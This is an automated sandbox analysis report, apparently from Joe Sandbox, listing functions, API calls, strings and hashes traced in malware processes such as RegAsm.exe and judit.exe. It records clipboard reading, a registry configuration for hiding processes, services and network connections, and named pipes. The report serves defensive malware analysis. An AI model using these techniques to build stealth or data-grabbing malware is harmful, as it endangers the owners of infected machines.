Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 62de9437beba2e721cf34d179e4312ef4253b28d1816f1cb2122418b2b97f5e8
Instruction ID: f73b361b9846b021011698ce9348a6dc68966b10c68d56c3ff69c1443975f1a9
Opcode Fuzzy Hash: 62de9437beba2e721cf34d179e4312ef4253b28d1816f1cb2122418b2b97f5e8
Instruction Fuzzy Hash: 3AF05E3A114500ABCB225FAADC049467FB6FBCA7A1B150429F65AC2130CE7298A0AB61

Function 008EE162 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 008EE179
GetLastError.KERNEL32 ref: 008EE185
___initconout.LIBCMT ref: 008EE195

Part of subcall function 008EE0FA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008EE081), ref: 008EE10D

WriteConsoleW.KERNEL32(?,?,?,00000000), ref: 008EE1AA

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ConsoleWrite$CreateErrorFileLast___initconout
String ID:
API String ID: 3431868840-0
Opcode ID: 2e1cb6a30dfc7d6fce8a38cb5f2edd22d7f60d4fdeb5752dfb562831d78fceb2
Instruction ID: 53ca5ddc1ddf7edc4cbed8c369e31814d48bdc6f112002f10a01565ea3d3de7a
Opcode Fuzzy Hash: 2e1cb6a30dfc7d6fce8a38cb5f2edd22d7f60d4fdeb5752dfb562831d78fceb2
Instruction Fuzzy Hash: ECF03037518168BBCF225F9ADC059893F2AFB0A3E1B054114FA19C6130CA7288A0FB92

Function 008D458D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65COMMON

Download Yara Rule

Strings

GetXStateFeaturesMask, xrefs: 008D459D
InitializeCriticalSectionEx, xrefs: 008D45ED

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID:
String ID: GetXStateFeaturesMask$InitializeCriticalSectionEx
API String ID: 0-4196971266
Opcode ID: 187b83331def9d45e3f342b99ab46d96209d9ec594c8c809e056dc648bd9e6ff
Instruction ID: f263c405e15db527297c068bd237bbfbd531922617bc33cfba0c97e6831b5716
Opcode Fuzzy Hash: 187b83331def9d45e3f342b99ab46d96209d9ec594c8c809e056dc648bd9e6ff
Instruction Fuzzy Hash: 3201DB335842187BCB113B95DC06E9E7F19FB94F61F008112FD0C55291C6B19B6197D1

Analysis Process: RegAsm.exePID: 7828, Parent PID: 7796COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	37
Total number of Limit Nodes:	1

Executed Functions

Function 00437160 Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0043A1FC,?,00000006,00120089,?,00000018,8A959497,00000000,004155DA), ref: 00437186

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction ID: 9a2a3e30e6272c7ba4599b7d5b49d8b1df743313db24dc7d28a19b0c9381744b
Opcode Fuzzy Hash: 3af67e3b8a4cf002b2d8122619789f5e408d063de0ae60c6913db66b84c766ee
Instruction Fuzzy Hash: 82D04875908216AB9A09CF44C54040EFBE6BFC4714F228C8EA88873214C3B0BD46EB82

Function 00408FA0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 0040901F

Strings

primarily often on modified in or uses the on the play of is that eleet replacements leetspeak, ways other via used resemblance spellings similarity a internet. glyphs of it system or their character reflection, xrefs: 00408FE4

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess
String ID: primarily often on modified in or uses the on the play of is that eleet replacements leetspeak, ways other via used resemblance spellings similarity a internet. glyphs of it system or their character reflection
API String ID: 621844428-744483612
Opcode ID: 7f709a8a2815dc2f7eb5fa12ef2b0c31998d5f05e39d6dff6a1f02706ea0b0fc
Instruction ID: ca1574702f0dd97b30b58554de2a2c04af9efecb2b4661c1db87a1086d41268a
Opcode Fuzzy Hash: 7f709a8a2815dc2f7eb5fa12ef2b0c31998d5f05e39d6dff6a1f02706ea0b0fc
Instruction Fuzzy Hash: ADF068718182016AC6103B75DB0665F7BB45F5534CF00053FE9C472283EE7C984A979F

Function 00436CF7 Relevance: 1.6, APIs: 1, Instructions: 123
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?), ref: 00436E9A

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6dc3722e462a52be6e3cfd039e7a32e8ec967de6e073168d419bedfd22713313
Instruction ID: fd93a9c42259c6a0376d28ba056e3dc493a6e687240b9595f48140139eb14c4d
Opcode Fuzzy Hash: 6dc3722e462a52be6e3cfd039e7a32e8ec967de6e073168d419bedfd22713313
Instruction Fuzzy Hash: 61513974500B01CBC718DF15ED606267BF2FF9A309B18923DE45647721D734E9A2CB59

Function 00436BFE Relevance: 1.6, APIs: 1, Instructions: 64
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?), ref: 00436E9A

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a0be5beb091cfb0477f0e6ae7c628f0dec88994d7844b0599b3693b7912d244f
Instruction ID: f8d1393dd67e7ab962e79834e29345ebc53683c65cd37e11f0bbdc815a591bf6
Opcode Fuzzy Hash: a0be5beb091cfb0477f0e6ae7c628f0dec88994d7844b0599b3693b7912d244f
Instruction Fuzzy Hash: F8212578504A02DBC718DF14ED6022677F2FF9A309B18922DE45643B21E734F862CB89

Function 00436EF7 Relevance: 1.6, APIs: 1, Instructions: 50
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE(?), ref: 00436F7B

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5497c368f21ad70b9403c5bdc7527a6f3c1078bcb4d98caece8849e09100b7e3
Instruction ID: 228c468470a2fbc274beecbbeab58c08c74587e579fa3bf81820b2fc61e5d453
Opcode Fuzzy Hash: 5497c368f21ad70b9403c5bdc7527a6f3c1078bcb4d98caece8849e09100b7e3
Instruction Fuzzy Hash: 0B114F75600B02CBC329CF14D960627B3E2FF86310B19D66DD89A47B51C734F881CB84

Function 00436C03 Relevance: 1.5, APIs: 1, Instructions: 48
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNELBASE ref: 00436C85

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 92b5895bfc28467bf44502c32a9a2ecfb2b9d0febed9b27ee0640101612e47ca
Instruction ID: a92a4d145a34abc349fd246716dacd899b29bac716d0eb2c85e4308c05fbe5d0
Opcode Fuzzy Hash: 92b5895bfc28467bf44502c32a9a2ecfb2b9d0febed9b27ee0640101612e47ca
Instruction Fuzzy Hash: D6116D34600B028BD329CF24D9A0766B3E2FF8A305B199A2DC49687A51DB34F856CB44

Function 00437010 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNELBASE(00409013), ref: 0043701B

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 9ff3ab1830590f84a5a78bf8c6238be078357742f363329647b2e59dd786c364
Instruction ID: 8e4d3fe7d6a6ecbe9dbe8c27f5b1edd61c1e19795576a077ba51cf544987c35d
Opcode Fuzzy Hash: 9ff3ab1830590f84a5a78bf8c6238be078357742f363329647b2e59dd786c364
Instruction Fuzzy Hash: 77C002364017009BCF053FE0FE0841E3BA1F71B30B314533AF101500728BA68822EB5D

Non-executed Functions

Function 0042D100 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0042D152
GetWindowInfo.USER32 ref: 0042D177
GetClipboardData.USER32 ref: 0042D187
GlobalLock.KERNEL32 ref: 0042D1A3
GlobalUnlock.KERNEL32 ref: 0042D2C0
CloseClipboard.USER32 ref: 0042D2CA

Strings

{, xrefs: 0042D1F3
r, xrefs: 0042D20B
O, xrefs: 0042D20F
p, xrefs: 0042D1FB

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: Clipboard$Global$CloseDataInfoLockOpenUnlockWindow
String ID: O$p$r${
API String ID: 3829817484-81440836
Opcode ID: b8278e07630927f8861c81aa8551d742060d0495329a7f8086619bc469c196cb
Instruction ID: 66a7c10bbe752aee87ecf3219f80cd0b76630ecfb7e67d9db0581663bfab4258
Opcode Fuzzy Hash: b8278e07630927f8861c81aa8551d742060d0495329a7f8086619bc469c196cb
Instruction Fuzzy Hash: 75616DB4908740CFC720DF38D485716BBE1AF5A310F148AADD8DA8B795D734E805DBA6

Function 0042D2F0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0042D33B
GetSystemMetrics.USER32 ref: 0042D34E
DeleteObject.GDI32 ref: 0042D3C7
SelectObject.GDI32 ref: 0042D41F
SelectObject.GDI32 ref: 0042D498
DeleteObject.GDI32 ref: 0042D4D2

Strings

, xrefs: 0042D467

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: Object$DeleteMetricsSelectSystem
String ID:
API String ID: 3911056724-3916222277
Opcode ID: 48f309b9e6e974fb046aa370e8cc896fcbde11d32cefb85c4907667ba4c6e23d
Instruction ID: ce5568e478f28e7a72732ba1a6b09f7deb15219a35a265dfff5935a0bcb8df87
Opcode Fuzzy Hash: 48f309b9e6e974fb046aa370e8cc896fcbde11d32cefb85c4907667ba4c6e23d
Instruction Fuzzy Hash: 98E19EB450AB818FE774DF15E58878EBBF0BB89304F51892EE8988B351C7745548CF8A

Function 0042850D Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c232c657e8add72788b54b8d3443a0c9bcef4c159be91bc5e1cc6edd8eafb3
Instruction ID: ba7a1eca14638323707782375b75a66115b24ef33f296584d306fb7807420eb0
Opcode Fuzzy Hash: d2c232c657e8add72788b54b8d3443a0c9bcef4c159be91bc5e1cc6edd8eafb3
Instruction Fuzzy Hash: 49F074B45093808FD724DF28D554B5ABBE0BB88344F419D2DE589C7391DB749544CB46

Function 0041D233 Relevance: 6.4, APIs: 4, Instructions: 415COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D309
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D336

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 14bef06a1b69b99042252dbd83593f958986276a3d8b4b7e3a7060082ae2c58c
Instruction ID: 4495d44d40ab12ecae9af05d32d8e154dd11d585f43ec24fb3574b9300ee897c
Opcode Fuzzy Hash: 14bef06a1b69b99042252dbd83593f958986276a3d8b4b7e3a7060082ae2c58c
Instruction Fuzzy Hash: 69F1DFB4900B408FD724CF28C891B67B7F2FF89314F14466DE8A68B795E734A842CB95

Function 00422970 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00422A46
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 00422A75

Strings

rnB, xrefs: 00422D1D

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: rnB
API String ID: 237503144-3415737273
Opcode ID: 07cb09818d373d0fd6d976ee2839d06e3d0ef9aa10dba3d37dc2f5425363a650
Instruction ID: fe5aaba2ab45d7eea4c890fb1bcab427829e50489bbc0e5c9bb5fd1b3f50ea28
Opcode Fuzzy Hash: 07cb09818d373d0fd6d976ee2839d06e3d0ef9aa10dba3d37dc2f5425363a650
Instruction Fuzzy Hash: 4CA16C315183918BE335CF28D990BAFB7E1FFC5308F450A2DE9995B282D7706906CB86

Function 0041DDB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 0041DE9C
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 0041DECA

Strings

:9, xrefs: 0041DDFD

Memory Dump Source

Source File: 00000009.00000002.1881714040.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: :9
API String ID: 237503144-997541006
Opcode ID: f3747abc432065ba1cf73d109d4a7c8f0659f6ec33658dddb79a616a5d8d5864
Instruction ID: 39242e73c86656f4daf48b50c31b67e111af5e046f43dab5f1946baa0af3e995
Opcode Fuzzy Hash: f3747abc432065ba1cf73d109d4a7c8f0659f6ec33658dddb79a616a5d8d5864
Instruction Fuzzy Hash: 6A51B0715087919BE314CF14C940BABBBE5FFC6704F008A2DF8D95B292D7B49985CB86

Analysis Process: judit.exePID: 7984, Parent PID: 3932COMMON

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	98.8%
Signature Coverage:	25.2%
Total number of Nodes:	333
Total number of Limit Nodes:	24

Executed Functions

Function 000001DD940C1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001DD940C1633
HeapAlloc.KERNEL32 ref: 000001DD940C1642

Part of subcall function 000001DD940C1268: GetProcessHeap.KERNEL32 ref: 000001DD940C126E
Part of subcall function 000001DD940C1268: HeapAlloc.KERNEL32 ref: 000001DD940C127D
Part of subcall function 000001DD940C1268: GetProcessHeap.KERNEL32 ref: 000001DD940C1297
Part of subcall function 000001DD940C1268: HeapAlloc.KERNEL32 ref: 000001DD940C12A8

RegOpenKeyExW.ADVAPI32 ref: 000001DD940C16B2
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C16DF
RegCloseKey.ADVAPI32 ref: 000001DD940C16F9
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1719
RegCloseKey.ADVAPI32 ref: 000001DD940C1734
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1754
RegCloseKey.ADVAPI32 ref: 000001DD940C176F
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C178F
RegCloseKey.ADVAPI32 ref: 000001DD940C17AA
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C17CA
RegCloseKey.ADVAPI32 ref: 000001DD940C17E5
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1805
RegCloseKey.ADVAPI32 ref: 000001DD940C1820
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C1840
RegCloseKey.ADVAPI32 ref: 000001DD940C185B
RegOpenKeyExW.ADVAPI32 ref: 000001DD940C187B
RegCloseKey.ADVAPI32 ref: 000001DD940C1896
RegCloseKey.ADVAPI32 ref: 000001DD940C18A0

Part of subcall function 000001DD940C12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001DD940C1319
Part of subcall function 000001DD940C12BC: GetProcessHeap.KERNEL32 ref: 000001DD940C1327
Part of subcall function 000001DD940C12BC: HeapAlloc.KERNEL32 ref: 000001DD940C1338
Part of subcall function 000001DD940C12BC: RegEnumValueW.ADVAPI32 ref: 000001DD940C1397
Part of subcall function 000001DD940C12BC: GetProcessHeap.KERNEL32 ref: 000001DD940C13DF
Part of subcall function 000001DD940C12BC: HeapAlloc.KERNEL32 ref: 000001DD940C13ED
Part of subcall function 000001DD940C12BC: GetProcessHeap.KERNEL32 ref: 000001DD940C140A
Part of subcall function 000001DD940C12BC: HeapFree.KERNEL32 ref: 000001DD940C1418
Part of subcall function 000001DD940C12BC: lstrlenW.KERNEL32 ref: 000001DD940C1421
Part of subcall function 000001DD940C12BC: GetProcessHeap.KERNEL32 ref: 000001DD940C142F
Part of subcall function 000001DD940C12BC: HeapAlloc.KERNEL32 ref: 000001DD940C143D

Strings

startup, xrefs: 000001DD940C16D5
service_names, xrefs: 000001DD940C17C3
udp, xrefs: 000001DD940C1874
process_names, xrefs: 000001DD940C174D
tcp_remote, xrefs: 000001DD940C1839
SOFTWARE\dialerconfig, xrefs: 000001DD940C1692
paths, xrefs: 000001DD940C1788
pid, xrefs: 000001DD940C1712
tcp_local, xrefs: 000001DD940C17FE

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 8f5dd6fb8df838df1838065ed927625bd7c0c62ca6d399f6c2603c5534888da9
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: CA71E936250B10C6EB14AF65F8607D927A4FB88B8DF405212EE4E47B6ADF3AC458C748

Function 000001DD940C2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001DD940C2BD0
lstrlenW.KERNEL32 ref: 000001DD940C2E0A

Part of subcall function 000001DD940C199C: OpenProcess.KERNEL32 ref: 000001DD940C19C2
Part of subcall function 000001DD940C199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001DD940C19E0
Part of subcall function 000001DD940C199C: PathFindFileNameW.SHLWAPI ref: 000001DD940C19EF
Part of subcall function 000001DD940C199C: lstrlenW.KERNEL32 ref: 000001DD940C19FB
Part of subcall function 000001DD940C199C: StrCpyW.SHLWAPI ref: 000001DD940C1A0E
Part of subcall function 000001DD940C199C: CloseHandle.KERNEL32 ref: 000001DD940C1A1C

GetProcAddress.KERNEL32 ref: 000001DD940C2BE5

Part of subcall function 000001DD940C152C: StrCmpIW.SHLWAPI ref: 000001DD940C155D

Part of subcall function 000001DD940C3844: StrCmpNIW.SHLWAPI ref: 000001DD940C385C

StrCmpNIW.SHLWAPI ref: 000001DD940C2C28
lstrlenW.KERNEL32 ref: 000001DD940C2D50

Strings

ntdll.dll, xrefs: 000001DD940C2BC9
\Device\Nsi, xrefs: 000001DD940C2C1B
NtQueryObject, xrefs: 000001DD940C2BDB

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 2ea1591c3e1a5da40fc11b4dcbb7d3d22d00389838b5eab610766940d42b5aec
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: C7B18E76660A50C2EB6CAF25E6607E963A5F744B8AF04501BEE0D63BD6DF36C840C748

Function 000001DD940C2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001DD940C2259
GetCurrentProcessId.KERNEL32 ref: 000001DD940C2263

Part of subcall function 000001DD940C1934: OpenProcess.KERNEL32 ref: 000001DD940C1952
Part of subcall function 000001DD940C1934: IsWow64Process.KERNEL32 ref: 000001DD940C1968
Part of subcall function 000001DD940C1934: CloseHandle.KERNEL32 ref: 000001DD940C1983

CreateFileW.KERNEL32 ref: 000001DD940C22BC
WriteFile.KERNEL32 ref: 000001DD940C22E4
ReadFile.KERNEL32 ref: 000001DD940C2303
CloseHandle.KERNEL32 ref: 000001DD940C230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001DD940C2293
\\.\pipe\dialerchildproc64, xrefs: 000001DD940C228C

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 201495b09a41671c8abfb78afa9e1f4cf831e994f5ef09e018f670b1dfa1f16e
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 5721AF3265474083FB149B20F52439A77A0F788BA9F400316EA9D03BA9CF3DC049CF08

Function 000001DD940C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000001DD940C2416
StrCpyW.SHLWAPI ref: 000001DD940C242D

Strings

\\.\pipe\, xrefs: 000001DD940C2421

Memory Dump Source

Source File: 0000000C.00000002.2558467688.000001DD940C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001DD940C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_1dd940c0000_judit.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 3d6e2c80715c3efe32916e0971df850cfee803bd5168e0febd41106a45cd87b7
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: F751BF32A84381C2E62CBB29F2783EA6751F385749F45012AEE5D03FDBDA3AC5058748

Function 000001DD940C202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001DD940C20C6

Part of subcall function 000001DD940C2F04: GetProcessHeap.KERNEL32 ref: 000001DD940C2F27
